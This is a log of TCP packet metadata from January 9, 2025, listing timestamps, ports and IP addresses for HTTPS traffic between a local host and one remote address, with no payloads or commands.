Jan 9, 2025 09:31:20.466670990 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.466675997 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.466722965 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.490005970 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.490114927 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.490299940 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.490354061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.490850925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.490890980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.490916967 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.490921021 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.490928888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.490945101 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.490979910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.491283894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.491339922 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.508838892 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.508876085 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.508903027 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.508905888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.508920908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.508964062 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.526598930 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.526670933 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.526684999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.526889086 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.526921988 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.526959896 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.526966095 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.526992083 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.527009964 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.527311087 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.527358055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.527374029 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.527379036 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.527422905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.527472973 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.527478933 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.527767897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.527808905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.527832985 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.527838945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.527873993 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.527873993 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.539293051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.539376974 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.539386034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.552206039 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.552262068 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.552269936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.552650928 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.552674055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.552710056 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.552711010 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.552720070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.552746058 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.552778006 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.552970886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.553020954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.553050041 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.553055048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.553061008 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.553098917 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.553486109 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.553540945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.577095985 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.577135086 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.577158928 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.577172041 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.577194929 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.577320099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.577370882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.577375889 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.577395916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.577425003 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.577449083 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.577455044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.577491999 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.577898026 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.577950001 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.577955961 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.577996969 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.578074932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.578124046 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.578388929 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.578448057 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.613379002 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.613418102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.613444090 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.613451958 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.613488913 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.613879919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.613895893 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.613954067 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.613960028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.614042044 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.614238977 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.614285946 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.614322901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.614366055 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.625926971 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.625966072 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.626014948 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.626024961 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.626053095 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.639162064 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.639215946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.639226913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.639256954 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.639266968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.639307976 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.639518976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.639573097 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.639864922 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.639916897 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.640081882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.640136957 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.640140057 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.640151978 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.640194893 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.640202045 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.664032936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.664074898 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.664124966 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.664139986 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.664175987 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.664632082 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.664664984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.664695024 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.664699078 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.664726973 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.665218115 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.665232897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.665273905 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.665281057 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.665309906 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.682600021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.682641029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.682671070 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.682682037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.682708979 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.706156015 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706213951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.706223965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706290007 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.706342936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706413031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.706419945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706433058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706468105 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.706470013 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706482887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706512928 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.706712008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706760883 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.706764936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706784964 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706811905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706830978 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.706837893 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.706849098 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.706870079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.712778091 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.712862015 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.712868929 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.726447105 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.726480961 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.726509094 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.726514101 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.726521969 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.726563931 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.727250099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.727264881 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.727319002 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.727324963 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.750940084 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.751012087 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.751025915 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.751648903 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.751674891 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.751720905 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.751727104 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.751765966 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.752517939 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.752533913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.752568007 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.752573013 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.752604961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.793062925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.793086052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.793140888 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.793154955 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.793186903 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.793900013 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.793927908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.793951988 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.793958902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.793986082 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.794527054 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.794564962 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.794604063 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.794610977 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.794653893 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.812999010 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.813071012 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.813082933 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.813720942 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.813756943 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.813777924 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.813783884 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.813818932 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.814315081 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.814357996 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.814376116 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.814380884 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.814420938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.814435959 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.837620974 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.837697029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.837697029 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.837707996 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.837747097 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.838187933 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.838234901 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.838522911 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.838557959 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.838598013 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.838603973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.838659048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.838702917 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.838709116 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.838743925 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.839236021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.839267015 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.839303017 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.839308977 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.839350939 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.866661072 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.866699934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.866710901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.866735935 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.866741896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.866754055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.866782904 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.866799116 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.880218983 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.880263090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.880292892 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.880296946 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.880311966 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.880352974 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.880539894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.880587101 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.880920887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.880975008 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.881087065 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.881150961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.881155968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.899873972 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.899908066 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.899939060 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.899946928 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.900006056 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.900425911 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.900454044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.900485039 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.900486946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.900496006 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.900517941 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.900544882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.901210070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.901225090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.901263952 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.901288033 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.901293993 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.901443005 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.924519062 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.924592018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.925735950 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.925769091 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.925796032 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.925806999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.925842047 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.925860882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.926035881 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.926065922 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.926090956 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.926100969 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.926209927 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.953466892 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.953505993 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.953532934 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.953540087 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.953576088 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.967210054 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.967236042 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.967287064 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.967294931 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.967333078 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.967540026 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.967607021 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.967612028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.967652082 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.967737913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.967784882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.967824936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.967875004 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.986673117 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.986710072 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.986738920 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.986745119 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.986793995 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.986854076 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.986911058 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.987099886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.987155914 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.987469912 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.987519026 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.987699986 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.987757921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.988090992 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.988126993 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.988140106 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:20.988146067 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:20.988168955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.011954069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.012010098 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.012023926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.012100935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.012135983 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.012150049 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.012161970 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.012168884 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.012192011 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.012567043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.012623072 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.012628078 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.012676001 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.014267921 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.014324903 CET	49723	443	192.168.2.6	188.114.96.3
